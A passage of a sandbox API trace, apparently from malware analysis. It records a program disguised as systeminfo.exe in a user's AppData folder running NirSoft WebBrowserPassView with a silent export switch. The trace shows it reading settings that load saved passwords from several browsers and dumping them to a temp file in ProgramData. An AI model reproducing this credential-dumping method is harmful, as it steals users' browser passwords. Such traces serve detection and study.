LockResource (hResData=0x458570) returned 0x458570 [0068.957] FindResourceW (hModule=0x400000, lpName=0x6e, lpType=0x5) returned 0x4546f8 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x4546f8) returned 0x5be [0068.957] LoadResource (hModule=0x400000, hResInfo=0x4546f8) returned 0x458808 [0068.957] LockResource (hResData=0x458808) returned 0x458808 [0068.957] FindResourceW (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x454708 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454708) returned 0xfa [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454708) returned 0x458dc8 [0068.957] LockResource (hResData=0x458dc8) returned 0x458dc8 [0068.957] FindResourceW (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x454718 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454718) returned 0x336 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454718) returned 0x458ec4 [0068.957] LockResource (hResData=0x458ec4) returned 0x458ec4 [0068.957] EnumResourceNamesW (hModule=0x400000, lpType=0x6, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.957] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x454728 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454728) returned 0x234 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454728) returned 0x4591fc [0068.957] LockResource (hResData=0x4591fc) returned 0x4591fc [0068.957] FindResourceW (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x454738 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454738) returned 0x138 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454738) returned 0x459430 [0068.957] LockResource (hResData=0x459430) returned 0x459430 [0068.957] FindResourceW (hModule=0x400000, lpName=0x23, lpType=0x6) returned 0x454748 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454748) returned 0x58 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454748) returned 0x459568 [0068.957] LockResource (hResData=0x459568) returned 0x459568 [0068.957] FindResourceW (hModule=0x400000, lpName=0x26, lpType=0x6) returned 0x454758 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454758) returned 0xf6 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454758) returned 0x4595c0 [0068.957] LockResource (hResData=0x4595c0) returned 0x4595c0 [0068.957] FindResourceW (hModule=0x400000, lpName=0x27, lpType=0x6) returned 0x454768 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x454768) returned 0x96 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x454768) returned 0x4596b8 [0068.957] LockResource (hResData=0x4596b8) returned 0x4596b8 [0068.957] FindResourceW (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x454778 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x454778) returned 0xba [0068.958] LoadResource (hModule=0x400000, hResInfo=0x454778) returned 0x459750 [0068.958] LockResource (hResData=0x459750) returned 0x459750 [0068.958] FindResourceW (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x454788 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x454788) returned 0x52 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x454788) returned 0x45980c [0068.958] LockResource (hResData=0x45980c) returned 0x45980c [0068.958] FindResourceW (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x454798 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x454798) returned 0x68 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x454798) returned 0x459860 [0068.958] LockResource (hResData=0x459860) returned 0x459860 [0068.958] EnumResourceNamesW (hModule=0x400000, lpType=0x9, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.958] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x4547a8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547a8) returned 0x48 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547a8) returned 0x4598c8 [0068.958] LockResource (hResData=0x4598c8) returned 0x4598c8 [0068.958] EnumResourceNamesW (hModule=0x400000, lpType=0xc, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.958] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x4547b8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547b8) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547b8) returned 0x459910 [0068.958] LockResource (hResData=0x459910) returned 0x459910 [0068.958] EnumResourceNamesW (hModule=0x400000, lpType=0xe, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.958] FindResourceW (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x4547c8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547c8) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547c8) returned 0x459924 [0068.958] LockResource (hResData=0x459924) returned 0x459924 [0068.958] FindResourceW (hModule=0x400000, lpName=0x6f, lpType=0xe) returned 0x4547d8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547d8) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547d8) returned 0x459938 [0068.958] LockResource (hResData=0x459938) returned 0x459938 [0068.958] FindResourceW (hModule=0x400000, lpName=0x72, lpType=0xe) returned 0x4547e8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547e8) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547e8) returned 0x45994c [0068.958] LockResource (hResData=0x45994c) returned 0x45994c [0068.958] FindResourceW (hModule=0x400000, lpName=0x73, lpType=0xe) returned 0x4547f8 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x4547f8) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x4547f8) returned 0x459960 [0068.958] LockResource (hResData=0x459960) returned 0x459960 [0068.958] FindResourceW (hModule=0x400000, lpName=0x74, lpType=0xe) returned 0x454808 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x454808) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x454808) returned 0x459974 [0068.958] LockResource (hResData=0x459974) returned 0x459974 [0068.958] FindResourceW (hModule=0x400000, lpName=0x75, lpType=0xe) returned 0x454818 [0068.958] SizeofResource (hModule=0x400000, hResInfo=0x454818) returned 0x14 [0068.958] LoadResource (hModule=0x400000, hResInfo=0x454818) returned 0x459988 [0068.958] LockResource (hResData=0x459988) returned 0x459988 [0068.959] FindResourceW (hModule=0x400000, lpName=0x76, lpType=0xe) returned 0x454828 [0068.959] SizeofResource (hModule=0x400000, hResInfo=0x454828) returned 0x14 [0068.959] LoadResource (hModule=0x400000, hResInfo=0x454828) returned 0x45999c [0068.959] LockResource (hResData=0x45999c) returned 0x45999c [0068.959] FindResourceW (hModule=0x400000, lpName=0x77, lpType=0xe) returned 0x454838 [0068.959] SizeofResource (hModule=0x400000, hResInfo=0x454838) returned 0x14 [0068.959] LoadResource (hModule=0x400000, hResInfo=0x454838) returned 0x4599b0 [0068.959] LockResource (hResData=0x4599b0) returned 0x4599b0 [0068.959] EnumResourceNamesW (hModule=0x400000, lpType=0x10, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.959] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x454848 [0068.959] SizeofResource (hModule=0x400000, hResInfo=0x454848) returned 0x308 [0068.959] LoadResource (hModule=0x400000, hResInfo=0x454848) returned 0x4599c4 [0068.959] LockResource (hResData=0x4599c4) returned 0x4599c4 [0068.959] EnumResourceNamesW (hModule=0x400000, lpType=0x18, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.959] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x454858 [0068.959] SizeofResource (hModule=0x400000, hResInfo=0x454858) returned 0x445 [0068.959] LoadResource (hModule=0x400000, hResInfo=0x454858) returned 0x459ccc [0068.959] LockResource (hResData=0x459ccc) returned 0x459ccc [0068.959] wcscpy (in: _Dest=0x28f5b0, _Source="Arial" | out: _Dest="Arial") returned="Arial" [0068.959] CreateFontIndirectW (lplf=0x28f594) returned 0x500a07a8 [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="N", _Count=0x1 | out: _Dest="N") returned="N" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="i", _Count=0x1 | out: _Dest="Ni") returned="Ni" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="r", _Count=0x1 | out: _Dest="Nir") returned="Nir" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="S", _Count=0x1 | out: _Dest="NirS") returned="NirS" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="o", _Count=0x1 | out: _Dest="NirSo") returned="NirSo" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="f", _Count=0x1 | out: _Dest="NirSof") returned="NirSof" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="t", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source=" ", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft " [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="F", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="r", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="e", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="e", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="a", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware." [0068.968] wcsncat (in: _Dest=0x28fafa, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0068.968] wcsncat (in: _Dest=0x28fafa, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="h", _Count=0x1 | out: _Dest="NirSoft Freeware. h") returned="NirSoft Freeware. h" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. ht") returned="NirSoft Freeware. ht" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. htt") returned="NirSoft Freeware. htt" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="p", _Count=0x1 | out: _Dest="NirSoft Freeware. http") returned="NirSoft Freeware. http" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source=":", _Count=0x1 | out: _Dest="NirSoft Freeware. http:") returned="NirSoft Freeware. http:" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware. http:/") returned="NirSoft Freeware. http:/" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware. http://") returned="NirSoft Freeware. http://" [0068.968] wcsncat (in: _Dest=0x28fafa, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://w") returned="NirSoft Freeware. http://w" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://ww") returned="NirSoft Freeware. http://ww" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www") returned="NirSoft Freeware. http://www" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.") returned="NirSoft Freeware. http://www." [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.n") returned="NirSoft Freeware. http://www.n" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="i", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.ni") returned="NirSoft Freeware. http://www.ni" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nir") returned="NirSoft Freeware. http://www.nir" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="s", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirs") returned="NirSoft Freeware. http://www.nirs" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="o", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirso") returned="NirSoft Freeware. http://www.nirso" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="f", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsof") returned="NirSoft Freeware. http://www.nirsof" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft") returned="NirSoft Freeware. http://www.nirsoft" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.") returned="NirSoft Freeware. http://www.nirsoft." [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.n") returned="NirSoft Freeware. http://www.nirsoft.n" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.ne") returned="NirSoft Freeware. http://www.nirsoft.ne" [0068.969] wcsncat (in: _Dest=0x28fafa, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.net") returned="NirSoft Freeware. http://www.nirsoft.net" [0068.969] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.969] LoadIconW (hInstance=0x400000, lpIconName=0x65) returned 0x50215 [0068.969] wcscpy (in: _Dest=0x28f674, _Source="WebBrowserPassView" | out: _Dest="WebBrowserPassView") returned="WebBrowserPassView" [0068.969] wcslen (_String="/scomma") returned 0x7 [0068.969] wcslen (_String="C:\\ProgramData\\FB70.tmp") returned 0x17 [0068.969] _wcsicmp (_String1="/savelangfile", _String2="/scomma") returned -2 [0068.969] _wcsicmp (_String1="/savelangfile", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.969] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28f3fc, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.970] wcscat (in: _Dest=0x28f3fc, _Source="_lng.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo_lng.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo_lng.ini" [0068.970] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo_lng.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo_lng.ini")) returned 0xffffffff [0068.970] _wcsicmp (_String1="/deleteregkey", _String2="/scomma") returned -15 [0068.970] _wcsicmp (_String1="/deleteregkey", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.970] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.970] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3 [0068.970] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.970] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3 [0068.970] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.970] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb [0068.970] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.970] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe [0068.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.971] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe [0068.972] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.972] LoadStringW (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Created Time") returned 0xc [0068.972] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.972] LoadStringW (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Created Time") returned 0xc [0068.972] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.972] LoadStringW (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Modified Time") returned 0xd [0068.972] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.972] LoadStringW (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x3d5fe8, cchBufferMax=4095 | out: lpBuffer="Modified Time") returned 0xd [0068.972] _wcsicmp (_String1="/stext", _String2="/scomma") returned 17 [0068.972] _wcsicmp (_String1="/shtml", _String2="/scomma") returned 5 [0068.972] _wcsicmp (_String1="/sverhtml", _String2="/scomma") returned 19 [0068.972] _wcsicmp (_String1="/sxml", _String2="/scomma") returned 21 [0068.972] _wcsicmp (_String1="/stab", _String2="/scomma") returned 17 [0068.972] _wcsicmp (_String1="/stabular", _String2="/scomma") returned 17 [0068.972] _wcsicmp (_String1="/scomma", _String2="/scomma") returned 0 [0068.972] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28f3d4, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.972] wcscat (in: _Dest=0x28f3d4, _Source=".cfg" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" [0068.972] wcscpy (in: _Dest=0x28efc0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" [0068.972] wcscpy (in: _Dest=0x28f1ca, _Source="General" | out: _Dest="General") returned="General" [0068.972] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowInfoTip", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowTimeInGMT", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsIE", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsFirefox", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsChrome", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsOpera", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSafari", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSeaMonkey", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsYandex", nDefault=1, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x1 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxProfileFolder", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.973] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxInstallFolder", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.974] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseChromeProfileFolder", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.974] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseOperaPasswordFile", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxProfileFolder", lpDefault="", lpReturnedString=0x3d4590, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxInstallFolder", lpDefault="", lpReturnedString=0x3d479a, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="ChromeProfileFolder", lpDefault="", lpReturnedString=0x3d4ba8, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="OperaPasswordFile", lpDefault="", lpReturnedString=0x3d4db8, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] GetPrivateProfileIntW (lpAppName="General", lpKeyName="SaveFileEncoeding", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x28af6c, nSize=0x2000, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] wcslen (_String="") returned 0x0 [0068.975] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x28af6c, nSize=0x2000, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.975] wcslen (_String="") returned 0x0 [0068.975] GetPrivateProfileIntW (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="ShowGridLines" | out: _Dest="/ShowGridLines") returned="/ShowGridLines" [0068.976] _wcsicmp (_String1="/ShowGridLines", _String2="/scomma") returned 5 [0068.976] _wcsicmp (_String1="/ShowGridLines", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="SaveFilterIndex" | out: _Dest="/SaveFilterIndex") returned="/SaveFilterIndex" [0068.976] _wcsicmp (_String1="/SaveFilterIndex", _String2="/scomma") returned -2 [0068.976] _wcsicmp (_String1="/SaveFilterIndex", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="ShowInfoTip" | out: _Dest="/ShowInfoTip") returned="/ShowInfoTip" [0068.976] _wcsicmp (_String1="/ShowInfoTip", _String2="/scomma") returned 5 [0068.976] _wcsicmp (_String1="/ShowInfoTip", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="MarkOddEvenRows" | out: _Dest="/MarkOddEvenRows") returned="/MarkOddEvenRows" [0068.976] _wcsicmp (_String1="/MarkOddEvenRows", _String2="/scomma") returned -6 [0068.976] _wcsicmp (_String1="/MarkOddEvenRows", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="ShowTimeInGMT" | out: _Dest="/ShowTimeInGMT") returned="/ShowTimeInGMT" [0068.976] _wcsicmp (_String1="/ShowTimeInGMT", _String2="/scomma") returned 5 [0068.976] _wcsicmp (_String1="/ShowTimeInGMT", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsIE" | out: _Dest="/LoadPasswordsIE") returned="/LoadPasswordsIE" [0068.976] _wcsicmp (_String1="/LoadPasswordsIE", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsIE", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] 